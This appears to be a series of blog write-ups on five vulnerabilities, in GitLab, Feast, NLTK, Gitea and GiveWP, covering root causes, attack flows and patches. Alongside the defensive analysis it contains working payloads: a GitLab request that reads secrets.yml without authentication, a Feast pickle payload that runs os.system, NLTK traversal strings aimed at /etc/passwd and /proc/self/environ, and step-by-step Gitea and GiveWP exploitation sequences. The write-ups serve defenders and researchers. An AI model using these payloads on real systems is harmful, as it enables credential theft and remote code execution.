CVE	CVE-2026-85706
Target	GitLab CE/EE (self-managed)
CVSS 3.1	10.0 (Critical) — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`
CWE	CWE-22 (Path Traversal), CWE-35
Affected versions	18.7–19.1.7, 19.2.0–19.2.5, 19.3.0–19.3.1
Fixed in	19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Reporter	`s3ntago` (HackerOne #3909881)
Notes	Added to CISA KEV; exploited in the wild within 24 hours of disclosure

In one sentence: a single unauthenticated HTTP request can read any file the GitLab server process has permission to read. The file-upload handling behind the Repository Commits API and Repository Files API skips authentication entirely and passes a client-controlled absolute path straight into File.read.

Background — GitLab's request pipeline

To understand this bug, you first need to see how GitLab handles a single request:

Client → Nginx → GitLab Workhorse → Puma → Grape (Rails API)

Workhorse is a Go-based reverse proxy sitting in front of Rails. It intercepts heavy I/O work — large Git transfers, file uploads — before it ever reaches Rails. For file uploads, Workhorse writes the file to a temp location itself and hands the result (path, size) to Rails via a signed header (Gitlab-Workhorse-Api-Request JWT).
Any request Workhorse doesn't intercept is passed through to Puma, which routes it to Grape (the framework GitLab uses for API routing).

The key detail is that these two components handle URLs differently.

Workhorse's route-matching regex operates on EscapedPath() — the raw, still-percent-encoded path — anchored with \z.
Puma, on the other hand, decodes %XX percent-encoding before handing the request to Grape.

Root cause — a percent-decoding differential

A normal commit-lookup request looks like this:

POST /api/v4/projects/1/repository/commits

Workhorse classifies any request whose path ends exactly in commits as its own upload-handling route. But watch what happens when an attacker percent-encodes just one character:

POST /api/v4/projects/1/repository/%63ommits

To Workhorse, this path does not end in commits (%63ommits ≠ commits), because its regex never decodes percent sequences. It fails to classify the request as an upload route and simply lets it fall through as ordinary proxied traffic.
Puma, however, decodes %63 → c before handing off to Grape, so Grape sees a perfectly normal route match: POST :id/repository/commits.

In other words, you end up with a request that Workhorse never treated as an upload, but Rails processes as if it were a legitimate upload endpoint. The same trick works by percent-encoding any single character in commits, repository, or files. Further analysis also showed that appending a .json format suffix or an extra trailing slash produces the same effect — defeating Workhorse's \z-anchored regex.

Source-level analysis — how this reaches unauthenticated file reads

1) `require_gitlab_workhorse!` is not authentication

The commit-creation endpoint behind the Repository Commits API was structured roughly like this (pseudocode reconstructed from public exploit writeups):

# Grape endpoint (vulnerable version)
post ':id/repository/commits' do
  require_gitlab_workhorse!          # ← only this
  # authenticate!                    # ← this line was missing

  file_params = file_params_from_body_upload(params)
  # ... commit action processing ...
end

require_gitlab_workhorse! only checks whether the request passed through Workhorse — specifically, whether the Gitlab-Workhorse-Api-Request JWT header is present. The problem: Workhorse attaches that signed header to every request it proxies, regardless of whether it classified the request as an upload. So even after the percent-encoding trick bypasses Workhorse's upload interception, the request is still physically proxied through Workhorse, and the signature is still attached.

As a result, require_gitlab_workhorse! doesn't actually verify a user's identity — it just confirms the request came through Workhorse. This endpoint was originally supposed to follow that check with authenticate! (real session/personal-access-token verification). With that line missing, the handler is reachable regardless of login state.

2) `file_params_from_body_upload` trusts client input directly

In a legitimate flow, file, file.path, and file.size should only ever come from Workhorse having actually written a file to a temp location and reporting the result. But since this request bypassed Workhorse's upload logic entirely, those values are just attacker-forged query parameters.

# CommitsBodyUploaderHelper (vulnerable version, pseudocode)
def file_params_from_body_upload(params)
  path = params['file.path']   # attacker-controlled absolute path, used as-is
  size = params['file.size']

  return nil unless File.exist?(path)   # also usable as a file-existence oracle
  File.read(path)                       # arbitrary file read happens here
end

Parameter validation such as requires :file, WorkhorseFile was found to pass even with a blank file= value, since it coerces to nil. That means a single request like this reaches the vulnerable sink:

POST /api/v4/projects/1/repository/%63ommits
    ?file=
    &file.path=/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
    &file.size=1
Content-Type: application/x-www-form-urlencoded

At this point, an attacker can already probe file existence without authentication (an existence oracle). Getting the actual file contents back requires one more step.

3) Leaking content through an error message

When Content-Type: application/x-www-form-urlencoded is used, the file content that was just read gets handed to Rack::Utils.parse_nested_query, which tries to parse it as a query string.

# pseudocode — urlencoded branch
file_content = File.read(path)
Rack::Utils.parse_nested_query(file_content)   # tries to parse file bytes as a querystring

Ordinary configuration files (YAML, JSON, etc.) very often contain a % character not followed by two hex digits. When that happens, Rack::QueryParser::InvalidParameterError is raised — and its message embeds the raw bytes it was trying to parse.

Rack::QueryParser::InvalidParameterError:
  invalid %-encoding (<raw file content appears here>)

Because this exception message is returned verbatim in the HTTP 400 response body, an unauthenticated attacker can retrieve the full file content. Interestingly, the JSON content-type branch (which uses the Oj parser) doesn't trigger this error, so the request must specifically use urlencoded content to get content echoed back.

4) An alternate trigger — the Repository Files API

The same file_params_from_body_upload sink is also reused by the POST/PUT :id/repository/files/:file_path endpoints. Analysis found that this route can be bypassed not with percent-encoding but simply by adding a trailing slash, which also defeats Workhorse's \z-anchored regex. Unlike the Commits API, this variant was reported to work without needing any accessible project ID at all.

PoC

Patch analysis — what changed in 19.3.2

The fix commit (0d9ce3e7 on master, backported as 1fe30154 / b43c8b26 / 0ff7b6b2) makes three changes.

Added authenticate! — Real user authentication is now enforced on all three commits/files-related endpoints, plus the preceding /authorize step. The check is no longer "did this pass through Workhorse" but "is this an authenticated user."
Restricted where file metadata can come from — file.path and file.size are no longer read directly from request parameters. They're only taken from the UploadedFile object that the Workhorse middleware actually created, closing off the path a client could use to inject an arbitrary location.
Stopped exposing parser exception messages — Exceptions raised by Rack::Utils.parse_nested_query are no longer surfaced verbatim in the response body, so even if a similar parsing path were hit again, it wouldn't lead to content echo.

When Authorization Runs Too Late: RCE via Insecure Deserialization in Feast (CVE-2026-56121)

GUIDANCE WHITE — Sun, 13 Sep 2026 00:45:33 +0000

Field	Value
CVE ID	CVE-2026-56121
Affected versions	Feast < 0.63.0
Patched version	0.63.0
Vulnerability type	CWE-502 (Deserialization of Untrusted Data)
CVSS 3.1	9.8 (Critical) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Attack surface	Registry gRPC server `RegistryServer.ApplyFeatureView` (default port 6570)
Auth required	None (`auth.type: no_auth` is the default, and even with auth enabled, the vulnerable code path is reached before the authorization check runs)

Feast is an open-source feature store used in ML pipelines to define, store, and serve features. Users can register FeatureView specs — including user-defined transformation functions (UDFs) — with a Registry server over gRPC via an Apply call. This CVE is a structural flaw in that registration flow: deserialization happens before authorization.

1. The core issue — execution order

In a properly designed server, requests should flow through this order:

Receive request → Authenticate → Authorize → Parse/deserialize payload → Run business logic

But Feast's Registry server handler for ApplyFeatureView had the order reversed:

Receive request → Deserialize payload (dill.loads) → Authorize → Run business logic

In other words, binary (pickle) data sent by the attacker is executed as Python code before the server ever checks whether the caller is allowed to perform the action. The authorization check does still get called — it's just called after the damage is already done, which makes it essentially meaningless.

2. Source-level analysis

2-1. Entry point — `registry_server.py`

Feast's Registry gRPC server handles the ApplyFeatureView RPC, called whenever a client registers a new feature view, roughly like this (trimmed for clarity, but the flow is preserved from the real source):

# sdk/python/feast/registry_server.py
def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")

    if feature_view_type == "feature_view":
        feature_view = FeatureView.from_proto(request.feature_view)
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(
            request.on_demand_feature_view
        )                                    # ← (1) deserialization happens first
    elif feature_view_type == "stream_feature_view":
        feature_view = StreamFeatureView.from_proto(request.stream_feature_view)

    assert_permissions_to_update(resource=feature_view, ...)  # ← (2) auth check comes later
    self.proxied_registry.apply_feature_view(...)
    return Empty()

Two lines matter here:

(1) OnDemandFeatureView.from_proto(request.on_demand_feature_view) — converts the client's protobuf message into a Python object. This is where the actual deserialization vulnerability lives.
(2) assert_permissions_to_update(...) — checks whether the caller is actually allowed to create or modify this feature view. It only runs after (1) has already completed.

Read in isolation, this looks like ordinary request handling. The real problem is what happens inside step (1).

2-2. What is an `OnDemandFeatureView`?

Feast supports "on-demand" features — values computed at request time rather than read from storage. For example, order_price / distance_km computed on the fly rather than pulled from a table. This is backed by a user-written Python function (the transformation/UDF).

@on_demand_feature_view(...)
def price_per_km(inputs: pd.DataFrame) -> pd.DataFrame:
    df = pd.DataFrame()
    df["price_per_km"] = inputs["order_price"] / inputs["distance_km"]
    return df

To transmit and persist this function definition, Feast serializes the function object itself using dill (a superset of pickle) and stores the resulting bytes in a UserDefinedFunctionV2.body field inside the protobuf message.

The problem: there is no way to verify who actually produced those bytes. Since the gRPC request is fully client-controlled, an attacker can put arbitrary malicious pickle bytes in the body field instead of a legitimate function, and the server has no way to tell the difference.

2-3. The real sink — `dill.loads()`

OnDemandFeatureView.from_proto() eventually calls _parse_transformation_from_proto(), which in turn calls PandasTransformation.from_proto() (or PythonTransformation.from_proto()). This is where the actual vulnerable call lives:

# sdk/python/feast/transformation/pandas_transformation.py
import dill

@classmethod
def from_proto(cls, user_defined_function_proto):
    return cls(
        udf=dill.loads(user_defined_function_proto.body),   # ← SINK
        udf_string=user_defined_function_proto.body_text,
    )

dill.loads(), like Python's built-in pickle, doesn't just parse data — it executes a stream of opcodes describing how to reconstruct an object, including instructions like "instantiate this class with these arguments" or "call this function." Pickle/dill is not a data format; it's an executable format. Passing untrusted bytes into .loads() is a well-known path to arbitrary code execution in the Python ecosystem.

2-4. Why code executes exactly here — `reduce`

When a Python object is pickled, if its class defines a __reduce__ method, that method can tell the pickle stream "to reconstruct this object, call this function with these arguments." Attackers abuse this to build a weaponized payload:

import os, pickle

class _Payload:
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        # The moment dill.loads() tries to "reconstruct" this object,
        # os.system(self.cmd) is actually invoked
        return (os.system, (self.cmd,))

body = pickle.dumps(_Payload("id > /tmp/feast_pwned"))

Send this body value in the user_defined_function.body field of an ApplyFeatureView request, and the moment the server calls dill.loads(body), os.system("id > /tmp/feast_pwned") executes with the privileges of the Feast service account.

Interestingly, os.system() returns an integer (0), which from_proto then tries to treat as a "deserialized UDF object," eventually raising TypeError: 0 is not a module, class, method, or function. But that error is just a cosmetic side effect that fires after the command has already run — the attack has already succeeded by that point.

2-5. A minimal attack payload

The protobuf message needed to trigger this is surprisingly small — there's no need to populate a valid source or feature list at all:

ApplyFeatureViewRequest {
  project: "feature_repo"
  on_demand_feature_view {
    spec {
      name: "pwn"
      mode: "pandas"
      feature_transformation {
        user_defined_function {
          name: "pwn"
          body: <malicious pickle bytes>
          body_text: "..."
          mode: "pandas"
        }
      }
    }
  }
}

OnDemandFeatureView.from_proto defaults mode to "pandas" when unset and parses the transformation logic (feature_transformation) before validating the source/feature list, so this minimal spec is enough to reach the dill.loads() sink.

2-6. Why authentication doesn't save you

Two conditions compound here.

Feast's default feature_store.yaml ships with no authentication:

   auth:
       type: no_auth

The Registry gRPC server also opens a plaintext port via server.add_insecure_port("[::]:6570"). In a default deployment, anyone who can reach port 6570 can call ApplyFeatureView without authenticating at all.

Even if an admin enables oidc or kubernetes auth, assert_permissions_to_update() is only invoked after from_proto() (deserialization) has already run — so it doesn't help. This is why the advisory for this CVE calls out both unauthenticated and unauthorized attackers: a logged-in user who simply lacks permission to modify this particular resource can trigger the same RCE.

3. Full attack flow diagram

The diagram below traces the flow from the moment an attacker sends the gRPC request to the moment code actually executes, and finally to the authorization check that arrives too late — laid out as four color-coded lanes.

Red (①) — The attacker prepares a weaponized pickle payload using __reduce__.
Blue (②) — What looks like a normal server processing path: the gRPC request is received and parsed all the way to from_proto with no authentication at all.
Orange → dark red (③) — Where the real danger happens. The dill.loads() call itself is the code-execution point; __reduce__ fires immediately after, running os.system. By this point, the attack is already complete.
Gray (④) — The authorization check that should have run first arrives dead last. Even if it correctly denies the request at this point, it doesn't matter — the code has already executed.

The structural lesson here is simple: having an authorization check exist is not the same as having it run before the dangerous code does. Feast did have an authorization check in place — its problem was when that check ran, not whether it existed.

4. Patch analysis (0.63.0)

Rather than simply moving the authorization check earlier, 0.63.0 fixes this by introducing a skip_udf flag threaded through the entire from_proto() call chain, so that the registry server path never deserializes the UDF body at all.

# Patched registry_server.py
OnDemandFeatureView.from_proto(request.on_demand_feature_view, skip_udf=True)

# Patched from_proto internals
# "Parse transformation from proto (skip UDF deserialization if requested)"
if proto.spec.HasField("user_defined_function") and not skip_udf:
    ...
    dill.loads(...)

The registry server never needs to actually execute the UDF — it only needs to persist the bytes. By hardcoding skip_udf=True on the server path, the patch ensures that attacker-supplied specs never reach the dill.loads() sink in the first place. Rather than fixing "when do we check permissions," the patch asks the more fundamental question: "do we even need to deserialize untrusted input here at all?"

Whether a given build applies skip_udf on the registry server path is effectively the practical marker separating vulnerable (< 0.63.0) from patched (≥ 0.63.0) versions.

5. Two takeaways worth internalizing

First, pickle/dill is not a data format — it's an executable program. If you find code that calls .loads() on bytes received from an untrusted source without verifying their origin, treat that call site as a remote-code-execution point by default. Always ask whether a pure data format like json could replace it.

Second, an authorization check must be verified by execution order, not just presence. In code review it's easy to confirm that assert_permissions_to_update() (or similar) is being called somewhere and move on. What actually matters is confirming it runs before any dangerous logic — parsing, deserialization, file access, external calls — not after.

CVE-2026-12243 — How a Percent-Encoded Slash Bypasses NLTK's Path Traversal Guard

GUIDANCE WHITE — Fri, 11 Sep 2026 08:21:43 +0000


CVE ID	CVE-2026-12243
Affects	NLTK (Natural Language Toolkit) ≤ 3.9.4
Weakness	CWE-22 (Path Traversal)
CVSS 3.1	7.5 High — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
Root cause	Percent-encoding bypasses path validation — a classic decode-after-check bug
Impact	Arbitrary file read
Fixed in	3.10.0
Backstory	An earlier fix for GitHub Issue #3504 turned out to be incomplete

NLTK is one of the most widely used NLP libraries in the Python ecosystem, and nltk.data.load() / nltk.data.find() sit on the hot path every time a corpus or model gets loaded. Both functions turn a "resource name" string into a filesystem path, and that conversion had a validation bypass: a literal ../ gets blocked correctly, but its percent-encoded form — %2e%2e%2f or plain %2f — sails through the check and only gets decoded into a real path afterward.

Why it happened — the gap in the earlier fix (Issue #3504)

NLTK had dealt with path traversal before, and the mitigation lived as a regex filter in nltk/data.py:

# nltk/data.py (vulnerable, as of 3.9.4)
_UNSAFE_NO_PROTOCOL_RE = re.compile(
    r"(?:\.\./|\.\.$|^/|\\|[A-Za-z]:[/\\])"
)

def find(resource_name, paths=None):
    resource_name = normalize_resource_name(resource_name, True)

    if _UNSAFE_NO_PROTOCOL_RE.search(resource_name):
        raise ValueError(f"Unsafe resource path: {resource_name!r}")

    # ... resource_name, having passed the check, is used as-is below
    p = os.path.join(path_, url2pathname(resource_name))
    if os.path.exists(p):
        return FileSystemPathPointer(p)

Literal ../, a leading /, backslashes, and Windows drive letters (C:/) are all caught precisely by this regex. The problem is what gets checked. _UNSAFE_NO_PROTOCOL_RE.search() only ever runs against the raw, still-URL-encoded string. But the very next line calls the standard library's url2pathname(), which has the side effect of decoding %xx percent sequences.

In other words: validation happens on the encoded string, while the filesystem path is built from the decoded one. That gap between check-time and use-time is exactly what this vulnerability exploits — the textbook shape of a "decode-after-check" (or TOCTOU-style) flaw.

Walking through the attack string corpora/..%2f..%2f..%2fetc%2fpasswd step by step:

_UNSAFE_NO_PROTOCOL_RE inspects the raw string. ..%2f contains no literal ../ — it's literally the characters %, 2, f — so the regex doesn't match, and the check passes.
The now-validated string is handed to url2pathname(), which decodes %2f into / and %2e into ..
The decoding produces corpora/../../../etc/passwd — exactly the pattern the regex was supposed to stop.
os.path.join(nltk_data_dir, decoded_path) normalizes this and walks straight out of the intended directory, landing on /etc/passwd.

Three payloads, two different outcomes

Based on the PoC filed on huntr, comparing three payloads makes the bypass condition obvious:

nltk:../../../etc/passwd — a literal traversal. _UNSAFE_NO_PROTOCOL_RE catches ../ immediately, a ValueError is raised, and the request is blocked as designed.
nltk:%2fetc%2fpasswd — a percent-encoded leading slash. As a string it matches none of ^/, ../, backslash, or a drive letter, so it sails through the check. url2pathname() decodes it to /etc/passwd.
nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd — %2e%2e is a different string from .., so it passes the same check. After decoding, it walks five levels up and out.

A related variant, nltk:%2fproc%2fself%2fenviron, targets the process environment file directly. /proc/self/environ frequently leaks API keys, database credentials, and cloud secrets that were passed in as environment variables, which makes it a particularly attractive target once the primary check is bypassed.

There was a second layer of defense — but it isn't enforced by default

NLTK also ships a nltk.pathsec module meant to re-check the path right before the file is actually opened. The catch: this check isn't enforced unless you explicitly opt in.

# typical pattern inside nltk/pathsec.py
ENFORCE = os.environ.get('NLTK_PATHSEC_ENFORCE', '').lower() in ('1', 'true', 'yes')

def validate_something(path):
    if is_violation(path):
        if ENFORCE:
            raise SecurityError('...')      # only raises if the env var is set
        else:
            warnings.warn('...', RuntimeWarning)   # default: warn and keep going

ENFORCE stays False unless the NLTK_PATHSEC_ENFORCE environment variable is explicitly set. So out of the box, a dangerous path only produces a RuntimeWarning — the open() call itself still goes through. The one backstop you might expect to catch a bypassed regex check ends up being little more than a log line unless you turn it on yourself.

Who's affected

This bug matters for any application that passes externally controlled input into nltk.data.load() or nltk.data.find() as the resource name:

NLP web services or APIs that let users specify a corpus/model name
Hosted notebook services that execute user-supplied code
Multi-tenant ML pipelines that parameterize resource identifiers per tenant
CI/CD pipelines that build resource paths from external input

The CVSS vector (C:H/I:N/A:N) tells the story: this is a confidentiality-only issue. Nothing gets modified or taken down — it's arbitrary read access to anything the process's user can read. Beyond /etc/passwd and /proc/self/environ, that includes application config files, SSH private keys, and any locally cached cloud-metadata responses.

The fix in 3.10.0

3.10.0 targets the root cause directly — decode-then-check — by adding an _assert_no_encoded_bypass() function that re-runs the same validation against the decoded form of the string.

from urllib.parse import unquote

def _assert_no_encoded_bypass(name, error_label=None):
    """
    Reject `name` if its URL-decoded form contains an unsafe pattern.

    unquote() is applied exactly once. url2pathname() itself only does a
    single decode pass, so this mirrors that behavior; decoding
    repeatedly would change the meaning of legitimately encoded values
    like "%2520" (a literal "%20").
    """
    decoded = unquote(name)
    if decoded != name and _UNSAFE_NO_PROTOCOL_RE.search(decoded):
        label = name if error_label is None else error_label
        raise ValueError(f"Unsafe resource path: {label!r}")


def _reject_unsafe_no_protocol(resource_url):
    if _UNSAFE_NO_PROTOCOL_RE.search(resource_url):
        raise ValueError(f"Unsafe resource path: {resource_url!r}")
    # re-check the decoded form against the same policy
    _assert_no_encoded_bypass(resource_url)

Three things matter here:

The same regex is reused, not duplicated. Rather than inventing a new blocklist, _UNSAFE_NO_PROTOCOL_RE is applied to both the raw string and its unquote()-decoded form. There's only one policy to keep in sync.
Decoding happens exactly once. Matching url2pathname()'s single decode pass avoids breaking legitimately double-encoded values such as %2520 (a literal %20), which repeated decoding would otherwise mangle.
Every entry point calls it. _reject_unsafe_no_protocol(), the nltk: scheme handling inside normalize_resource_url(), and the defense-in-depth check inside find() all now call _assert_no_encoded_bypass() — so there's no remaining code path where a resource name turns into a file path without the decoded check running.

What to do about it

Upgrade to NLTK 3.10.0 or later. This is the real fix.
If an immediate upgrade isn't possible, set NLTK_PATHSEC_ENFORCE=true to activate the pathsec layer's hard block. Treat this as a stopgap, not a substitute for patching — it's a mitigation, not a root-cause fix.
Audit any code path where a resource name passed to nltk.data.load() / nltk.data.find() originates from user input. An application-level allowlist of permitted corpus/model names is a reasonable defense-in-depth measure on top of the library fix.

CVE-2026-60004 — RCE in Gitea via diffpatch Git Hook Injection

GUIDANCE WHITE — Fri, 11 Sep 2026 08:05:22 +0000


CVE ID	CVE-2026-60004
CVSS 3.1	9.8 (Critical) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
CWE	CWE-94 (Improper Control of Generation of Code)
Affected	Gitea 1.17 – 1.27.0
Fixed in	1.27.1 (released 2026-07-27)
Endpoint	`POST /api/v1/repos/{owner}/{repo}/diffpatch`
Reporter	Shai Rod (NightRang3r)

Gitea's diffpatch API applies a user-supplied patch to a temporary internal repository. Send the exact same patch twice, and Git's own 3-way merge conflict-resolution logic quietly defeats the --cached flag, writing the patched file straight to disk. Point that file at hooks/post-index-change, and you get arbitrary command execution as the Gitea service account.

All you need is write access to one repository. If public sign-up is enabled — which is common on self-hosted instances — that means an unauthenticated attacker can register, create a repo, and go straight to RCE.

1. Three ordinary behaviors, one dangerous combination

This isn't a single bug — it's three individually reasonable behaviors that happen to line up badly.

Bare clones: the temporary clone diffpatch creates to apply the patch is --bare. A bare repo has no working tree, so the repo root is $GIT_DIR — hooks/, objects/, refs/ all sit directly at the root.
git apply's 3-way fallback: since Git 2.32, git apply can retry with -3 when a plain apply fails. That fallback is designed to check out the merge result into the working tree to resolve conflicts.
Automatic hook execution: post-index-change is a hook Git invokes on its own, with zero human interaction, any time the index changes. If an executable file exists at that path, Git just runs it.

Gitea's implementation didn't account for what happens when (1) and (2) collide.

2. The vulnerable code

The relevant logic lives in services/repository/files/patch.go:

cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")
}

Breaking this down:

--cached means "update the index only — never touch the working directory." This is the flag that makes the whole approach look safe.
-3 tells Git to fall back to a 3-way merge when a patch doesn't apply cleanly (i.e., context mismatch). On its own, this is a legitimate usability improvement added in Git 2.32.

The problem: when the -3 fallback actually triggers, it doesn't honor the "nothing touches disk" guarantee that --cached is supposed to provide. The 3-way merge path resolves conflicts by checking the merged blob out to the real filesystem.

The trick to reliably trigger that fallback is embarrassingly simple — send the same patch twice:

1st request: a patch adding a new file at hooks/post-index-change applies cleanly and lands in the index (thanks to --cached, nothing hits disk yet).
2nd request: resubmitting the identical patch means a file is now being "added" at a path that's already been added — an add/add conflict.
On that conflict, the -3 fallback kicks in and checks out the merge result to real disk.
Because the clone is bare, the file that just landed on disk at hooks/post-index-change is sitting inside the actual Git hooks directory.
If the patch's diff header specifies new file mode 100755, the file even keeps its executable bit.

The next time git apply --index touches the index in that same clone, Git follows its normal hook-invocation path and runs post-index-change — as a child process of the Gitea service, with the Gitea service account's privileges. That's arbitrary command execution.

One more detail worth calling out: the hook's exit code is never surfaced in the diffpatch API response. A successful attack returns the same response as an ordinary, successful patch application, so there's no obvious signal in the HTTP layer that anything happened.

3. Full attack flow

Attacker registers an account (no prior credentials needed if public sign-up is on).
Attacker creates a repository with auto_init — write access to that one repo is the only precondition.
Attacker sends a diffpatch request adding hooks/post-index-change.
Attacker resends the exact same patch, forcing an add/add conflict.
Git's 3-way fallback bypasses --cached and writes the hook file to the bare clone's real hooks/ directory.
Git auto-executes post-index-change on the next index update → arbitrary command execution.
If the hook script stores command output as a Git object or a branch, the attacker retrieves it with a plain, authenticated fetch — no outbound connection from the server required.

Every one of these steps rides on standard Git protocol and the standard Gitea REST API, which is exactly why this is hard to catch with a WAF or network IDS: from the outside, it just looks like "an API client uploaded the same patch twice."

4. Impact

Anything the Gitea process can reach is in scope: app.ini secrets, process environment variables, every mounted repository, the database connection and its contents, OAuth/integration credentials, and any internal services reachable from that host.
On instances with public registration enabled, this is effectively a pre-auth RCE — no stolen credentials required.
The CVE has been added to CISA's Known Exploited Vulnerabilities (KEV) catalog, with observed exploitation delivering cryptominer payloads.

5. Mitigation

Upgrade to Gitea 1.27.1 or later immediately. The fix shipped quietly, described in release notes as "refactor: git patch apply" rather than flagged as a security fix — check the version number itself, not just the changelog wording.
Disable public registration (DISABLE_REGISTRATION = true under [service] in app.ini) to remove the unauthenticated attack path entirely.
Run the Gitea process under a least-privilege dedicated account so a successful hook execution has limited blast radius.
Watch for repeated calls to diffpatch against the same repo with the same patch body in a short window — that's the fingerprint of this attack.
Periodically audit repositories' hooks/ directories for recently created or modified executables (post-receive, pre-receive, update, post-index-change, etc.).

6. Wrap-up

What stands out about this CVE is that every individual piece was added for a good reason. --cached was a deliberate safety flag. The -3 fallback was a usability improvement. Automatic hook execution is core Git design, not a bug. It's only when all three meet inside a temporary bare clone that the safety guarantee --cached was supposed to provide quietly breaks. Any feature that manipulates a temporary Git repository from untrusted input needs to account for the repo's shape (bare vs. non-bare) and the less-common fallback paths of the Git subcommands it invokes — not just their documented happy-path behavior.

CVE-2026-82222 Deep Dive — Unauthenticated PHP Object Injection to RCE in GiveWP (CVSS 10.0)

GUIDANCE WHITE — Tue, 08 Sep 2026 01:07:54 +0000

Overview

Item	Detail
CVE ID	CVE-2026-82222
Target	GiveWP (WordPress donation/fundraising plugin, 100,000+ installs)
Affected versions	≤ 4.16.7.1
Vulnerability class	CWE-502 (Deserialization of Untrusted Data) → PHP Object Injection → RCE
CVSS	10.0 (Critical)
Auth required	None (unauthenticated)
Patched in	4.16.7.2
Reported by	Udin Chan via Patchstack (2026-07-28)

GiveWP provides donation forms, payment gateways, and donor management for WordPress. This CVE lets an attacker with no account and no login run arbitrary commands on the server. It isn't one isolated bug — it's three separate flaws chained together:

A "safe" unserialize helper that doesn't actually strip objects
A donation flow that re-deserializes data read straight back from the database, with no validation
A gadget chain — assembled from libraries GiveWP ships to production — that reaches system()

On 4.16.5.1 and below, a default install is enough (one active payment gateway, one published donation form). 4.16.6 through 4.16.7.1 narrow the reachable surface somewhat, but the chain still holds under common conditions (legacy forms, the Option-Based Form Editor, etc.).

Here's the full flow at a glance:

1. The "safe" unserialize helper isn't safe

GiveWP never calls unserialize() directly — it routes everything through its own helper, safeUnserialize(), in src/Helpers/Utils.php. The name alone suggests a safety net.

// src/Helpers/Utils.php - safeUnserialize()
public static function safeUnserialize( $data ) {
    $data = self::removeBackslashes( $data );

    // allowed_classes => false: objects become __PHP_Incomplete_Class, not nothing
    $unserializedData = @unserialize( trim( $data ), [ 'allowed_classes' => false ] );

    return ! $unserializedData && ! self::containsSerializedDataRegex( $data ) ? $data : $unserializedData;
}

The catch is allowed_classes => false. Per the PHP manual, this option does not prevent object creation — it substitutes any object with a __PHP_Incomplete_Class placeholder that keeps the original class name and every property intact. When that placeholder gets serialized again later, PHP re-emits the exact same bytes.

In other words, this helper doesn't remove the payload — it just makes it look neutralized for this one read, then hands the untouched data straight back downstream. Here's what that looks like step by step:

2. How attacker data reaches the helper

The catch: this helper runs on data pulled from the database, not the request itself. The flow:

The attacker stores a serialized gadget payload in their own account's last_name field via profile.php.
When they submit a donation, includes/process-donation.php builds user_info from that account data and runs every field through safeUnserialize().

// includes/process-donation.php - give_process_donation_form()
$user_info = [
    'id'         => $user['user_id'],
    'title'      => $user['user_title'],
    'email'      => $user['user_email'],
    'first_name' => $user['user_first'],
    'last_name'  => $user['user_last'],   // attacker-controlled serialized gadget
    'address'    => $user['address'],
];

// "safe" unserialize just becomes __PHP_Incomplete_Class - not stripped
$user_info     = array_map( '\Give\Helpers\Utils::maybeSafeUnserialize', stripslashes_deep( $user_info ) );
$donation_data = [ /* ... */ 'user_info' => $user_info, /* ... */ ];

// written into the wp_give_sessions table as-is
$session_data = $donation_data;
give_set_purchase_session( $session_data );

Because this value comes from account data rather than the request body, ordinary input validation never touches it. The moment the __PHP_Incomplete_Class value gets serialize()d again on its way into wp_give_sessions, the original gadget bytes land in the database intact. The next request that reads this session calls unserialize() with no allowed_classes guard — and the real gadget object comes back to life.

3. The gadget chain — from TCPDF to system()

Object injection alone doesn't do anything yet — it needs a gadget chain. GiveWP bundles the TCPDF library for PDF generation alongside its own Give\TestData classes for demo/test data, and together they form a complete chain.

// src/TestData/Framework/ProviderForwarder.php - the terminal gadget
public function __call( $name, $arguments ) {
    $provider = isset( $this->loadedProviders[ $name ] )
        ? $this->loadedProviders[ $name ]
        : $this->loadProvider( $name );

    // no check on what $provider actually is
    return call_user_func_array( $this->loadedProviders[ $name ], $arguments );
}

loadedProviders is just a plain array property, so the attacker can populate it with any value inside the deserialized object. When that object goes out of scope and is destroyed, TCPDF::__destruct() calls _destroy(), which calls a method on an undefined property — triggering the magic method __call(). Since __call() passes the value straight to call_user_func_array() with zero validation, setting loadedProviders to system gets arbitrary OS commands executed as the web server user.

4. Getting the account for free — the unauthenticated registration bypass

The chain above requires a logged-in user, and GiveWP hands one over for free. The give_action=user_register action never checks WordPress's users_can_register option, so anyone can create an account and receive an authentication cookie even on sites where registration is disabled.

4.16.6 added a nonce requirement to this handler, but it narrows the window rather than closing it. That nonce is only emitted by the [give_register] shortcode template, and WordPress nonces for logged-out visitors are identical across the whole site for any given moment. If that shortcode appears on even one public page, an attacker harvests the nonce once and reuses it indefinitely.

5. The full chain, reassembled

Here's Patchstack's reconstruction of the actual attack sequence:

Register an account — POST with give_action=user_register. The server creates the account and issues an auth cookie regardless of the site's registration setting.
Plant the gadget — Read the profile nonce from profile.php, then POST the serialized gadget chain into the account's last_name field.
Poison the session — Fetch a donation nonce (action=give_donation_form_nonce), then submit a donation (action=give_process_donation) with the form ID, gateway, and amount, omitting give_last. The server writes the gadget object into wp_give_sessions before returning an HTTP 500.
Trigger execution — Request any front-end page with the same cookie. The server reads the poisoned session, unserializes the gadget, the object gets destroyed, and system() runs. The output is reflected right back in the HTTP response.

The patch (4.16.7.2) — what actually changed

The interesting part isn't a single fix at the reported entry point — it's that GiveWP broke the chain at several independent layers simultaneously.

An earlier attempt in 4.16.6 shows why that matters. It added a recursive check for __PHP_Incomplete_Class and, on detecting one, returned the raw string $data. That hands the original payload bytes straight back, achieving nothing — the helper still deferred the attack to the next unguarded read. 4.16.7.2 returns false instead:

// src/Helpers/Utils.php - safeUnserialize(), 4.16.7.2
if ( self::containsPhpIncompleteClass( $unserializedData ) ) {
    return false;   // 4.16.6 returned $data here, re-arming the payload
}

4.16.7.2 then closes the chain at five separate points:

The write path. process-donation.php now rejects the whole donation outright if any name field contains serialized data, and the usermeta fallback runs through give_clean(), which reduces serialized input to an empty string.
